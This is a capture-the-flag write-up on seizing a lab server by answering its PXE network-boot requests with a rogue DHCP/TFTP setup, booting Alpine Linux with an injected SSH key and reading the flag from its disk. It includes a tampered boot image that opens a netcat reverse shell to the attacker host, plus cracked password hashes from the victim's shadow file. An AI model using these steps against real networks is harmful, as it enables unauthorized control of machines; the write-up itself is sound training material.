You managed to take control of an exposed server on the internal network of SecurityExpertsCorp.
Your mission is to retrieve the file /root/flag.txt
from the server 192.168.0.2
.
This server is connected directly on the interface ens34
of the server you control.
You can only reboot the targeted server by selecting it and clicking on the button "Redémarrer" (reboot).
Click on the button Access the course
below to boot your virtual machines.
The logins of the attacker VM are root:toor
.
There are two virtual machines - attacker
and victim
,
both of which can be monitored (IP addreses, CPU & RAM usage) and managed (started, stopped, restarted, reverted to initial snapshot),
but only attacker
machine has noVNC access.
It is running Debian.
Unfortunately, due to keymap mess, it was a pain to work with, so all the work was done via reverse nc
shell.
Scanning victim
with nmap revealed only single open port - 80/tcp
-
running apache 2.4.25
web server on Debian with a default webpage.
Launching gobuster with different wordlists against it wasn't fruitful, so a different approach should be taken.
To check if something interesting happens durring reboot, tcpdump
was launched on attacker
and victim
was rebooted.
Sure enough, there were BOOTP/DHCP requests on network coming from victim
.
# tcpdump -i ens34 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens34, link-type EN10MB (Ethernet), capture size 262144 bytes
23:41:02.245983 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:04.334467 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:08.398656 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
23:41:16.472410 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:50:56:b5:6a:72, length 548
At this point, there were several ideas how to proceed, e.g., DHCP client shellshock vulnerability or specific DHCP client vulnerabilities.
But after a further research (running tcpdump
with -v
option) and
deduction (victim
doesn't receive any DHCP reply, jet still has a static IP of 192.168.0.2
, so it is not a OS-level DHCP request),
it became clear that what's happening is a simple PXE (Preboot eXecution Environment) network boot.
# tcpdump -i ens34 -n -v
(..)
Vendor-Class Option 60, length 32: "PXEClient:Arch:00000:UNDI:002001"
Therefore a solution would be to boot a network image, that can be remotely accessed (e.g., via ssh
), mounting a local disk and reading the flag.
After some trial-and-error (read more in on-site solution at bottom) trying out different netboot images, due to small amount of memory (256MB), it was chosen to boot Alpine Linux.
Relevant documentation, - https://wiki.debian.org/PXEBootInstall (for setting up DHCP/TFTP for PXE boot),
https://wiki.syslinux.org/...PXELINUX (for PXELINUX boot) and
https://wiki.alpinelinux.org/wiki/PXE_boot (for Alpine Linux's network boot configuration settings).
Install dnsmasq
for DHCP and TFTP servers, and nginx
for HTTP server.
# apt-get -y install dnsmasq nginx
Create directory for serving files via TFTP. Configure and restart dnsmasq
.
Only single IP will be provided via DHCP - 192.168.0.2
.
# mkdir -p /srv/tftp
# cat << EOF > /etc/dnsmasq.conf
interface=ens34
dhcp-range=192.168.0.2,192.168.0.2,255.255.255.0,1h
dhcp-boot=pxelinux.0
enable-tftp
tftp-root=/srv/tftp
EOF
# systemctl restart dnsmasq
Download syslinux and extract required files for PXE network boot - pxelinux.0
and ldlinux.c32
(both served via TFTP).
# cd /srv/tftp/
# wget https://mirrors.edge.kernel.org/pub/linux/utils/boot/syslinux/syslinux-6.03.tar.gz
# tar -vtf syslinux-6.03.tar.gz | grep "/pxelinux.0\|/ldlinux.c32"
-rwxrwxr-x hpa/hpa 122308 2014-10-06 18:29 syslinux-6.03/bios/com32/elflink/ldlinux/ldlinux.c32
-rw-rw-r-- hpa/hpa 46909 2014-10-06 18:29 syslinux-6.03/bios/core/pxelinux.0
# tar --strip-components 3 -xvzf syslinux-6.03.tar.gz syslinux-6.03/bios/core/pxelinux.0
# tar --strip-components 5 -xvzf syslinux-6.03.tar.gz syslinux-6.03/bios/com32/elflink/ldlinux/ldlinux.c32
Download Alpine Linux's netboot kernel and initrd images (both served via TFTP).
Images with suffix -virt
instead of -vanilla
was chosen, because these machines were running on virtual hardware (VMware).
# export MIRROR=http://dl-2.alpinelinux.org/alpine/latest-stable
# wget $MIRROR/releases/x86_64/netboot/vmlinuz-virt
# wget $MIRROR/releases/x86_64/netboot/initramfs-virt
Create default PXE script pxelinux.cfg/default
(served via TFTP) to network boot Alpine Linux.
# mkdir -p pxelinux.cfg
# cat << EOF > pxelinux.cfg/default
DEFAULT alpine
LABEL alpine
KERNEL vmlinuz-virt
INITRD initramfs-virt
APPEND ip=dhcp alpine_repo=http://192.168.0.1/alpine modloop=http://192.168.0.1/modloop-virt ssh_key=http://192.168.0.1/id_rsa.pub
EOF
Download Alpine Linux's netboot kernel modules image (served via HTTP).
# cd /var/www/html
# wget $MIRROR/releases/x86_64/netboot/modloop-virt
Create ssh
key (served via HTTP).
# ssh-keygen -t rsa -f /root/.ssh/id_rsa -N ""
# cp /root/.ssh/id_rsa.pub .
Configure and restart nginx
to serve /alpine
as a reverse proxy to Apline Linux's repository mirror.
P.S. Required files (~35 .apk
and index) can also be served directly if one choses to, but using reverse proxy is easier.
# sed -i'' -e "s#^}#location /alpine { proxy_pass $MIRROR/main; }}#" /etc/nginx/sites-enabled/default
# systemctl restart nginx
Restart the victim
and wait a minute. To follow progress, watch journalctl -f
and tail -f /var/log/nginx/access.log
.
# journalctl -f
(..)
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/pxelinux.cfg/default to 192.168.0.2
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/vmlinuz-virt to 192.168.0.2
Jun 00 15:02:41 debian dnsmasq-tftp[1673]: sent /srv/tftp/initramfs-virt to 192.168.0.2
# tail -f /var/log/nginx/access.log
(..)
192.168.0.2 - - [00/Jun/2019:15:03:17 +0200] "GET /alpine/x86_64/openssl-1.1.1c-r0.apk HTTP/1.1" 200 266716 "-" "libfetch/2.0"
192.168.0.2 - - [00/Jun/2019:15:03:17 +0200] "GET /modloop-virt HTTP/1.1" 200 10133504 "-" "Wget"
192.168.0.2 - - [00/Jun/2019:15:03:18 +0200] "GET /id_rsa.pub HTTP/1.1" 200 393 "-" "Wget"
ssh
into victim
.
# ssh -o StrictHostKeyChecking=no root@192.168.0.2
Warning: Permanently added '192.168.0.2' (ECDSA) to the list of known hosts.
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
localhost:~#
Check disk partitions, mount relevant partition and read the flag.
localhost:~# blkid
/dev/sda5: UUID="af4b6ee2-cfc4-430d-8bc3-a28b36bf7178" TYPE="swap"
/dev/sda1: UUID="7c644259-4cbc-4050-8c03-72cdaca6216c" TYPE="ext4"
/dev/loop/0: TYPE="squashfs"
/dev/loop0: TYPE="squashfs"
localhost:~# mount -t ext4 /dev/sda1 /mnt
localhost:~# cat /mnt/root/flag.txt
SuccessfullyRooted!
Flag is SuccessfullyRooted!
.
/etc/shadow
on victim
contained two users with password set, both of which were successfuly cracked.
user:$6$nO9VosfI$/vmS3FeZxn9QTCqKug/aq9WERLrGtO20XdgCx2NJqr21kvjW6.P3SHJeqRhRJQnQSNmpA8/919Ri.bx7i8GRX.:password
root:$6$18Of6Phn$BxoDmOv7zYlgveYxKVkYFXGyBogtodD8CMMT0qSbuxxzz2/PMBUvyhIxAVER8xfEf/5K1.jlYwbpQOR9t8wOZ.:qazxswedc
Solving this task on-site, a quick and dirty approach was taken. For network boot, part of SystemRescueCD was used.
SystemRescueCD 5.3.2 (systemrescuecd-x86-5.3.2.iso
) was downloaded and 4 files were extracted: pxelinux.0
, rescue64
, initram.igz
and sysrcd.dat
.
All of those files were stored in /srv/tftp
and PXE script pxelinux.cfg/default
was prepared to boot SystemRescueCD.
DEFAULT sysresccd
LABEL sysresccd
MENU LABEL sysresccd
KERNEL rescue64
APPEND initrd=initram.igz dodhcp netboot=tftp://192.168.0.1/sysrcd.dat
This resulted in failure, as sysrcd.dat
was never fully downloaded.
Then http://
(insted on tftp://
) was used as transport protocol, but it failed as well.
Debugging this issue, revealed that victim
doesn't have enough memory to load full sysrcd.dat
(~518MB). It only had only ~256MB.
Idea was to modify initrd
archive (initram.igz
), to launch reverse shell, before trying to load sysrcd.dat
.
Extract initram.igz
.
# mkdir /tmp/initram
# cd /tmp/initram
# fakeroot
# cat /srv/tftp/initram.igz | xz -d | cpio -id
Add statically compiled nc
binary to bin/nc
.
Modify init
script, just before launching stage1, to initiate reverse shell to attacker
port 1234
.
sysresccd_stage1() # find sysrcd.dat and put it in ${BOOTPATH}
{
/bin/nc -e /bin/sh 192.168.0.1 1234
case "${STAGE1}" in
(..)
Repack initram.igz
.
# find . | cpio -H newc -o | xz --check=crc32 --x86 --lzma2 > /srv/tftp/initram.igz
Listen on 1234
port, reboot victim
and wait for reverse shell.
# nc -vlp 1234
listening on [any] 1234 ...
192.168.0.2: inverse host lookup failed: Unknown host
connect to [192.168.0.1] from (UNKNOWN) [192.168.0.2] 56786
id
uid=0 gid=0(root)
Now there is another problem. Local disk is not recognized (no /dev/sda*
), as there are no relevant kernel drivers in initram.igz
.
Though, this is solved easily. Making educated guess, that victim
is similar to attacker
, same disk driver vmw_pvscsi
should be loaded.
It was extracted from SystemResuceCD iso, then transferred to victim
via nc
, loaded (insmod vmw_pvscsi.ko
) and /dev/sda*
showed up.
After that, mount the partition and read the flag.
# mount /dev/sda1 /mnt
# cat /mnt/root/flag.txt
SuccessfullyRooted!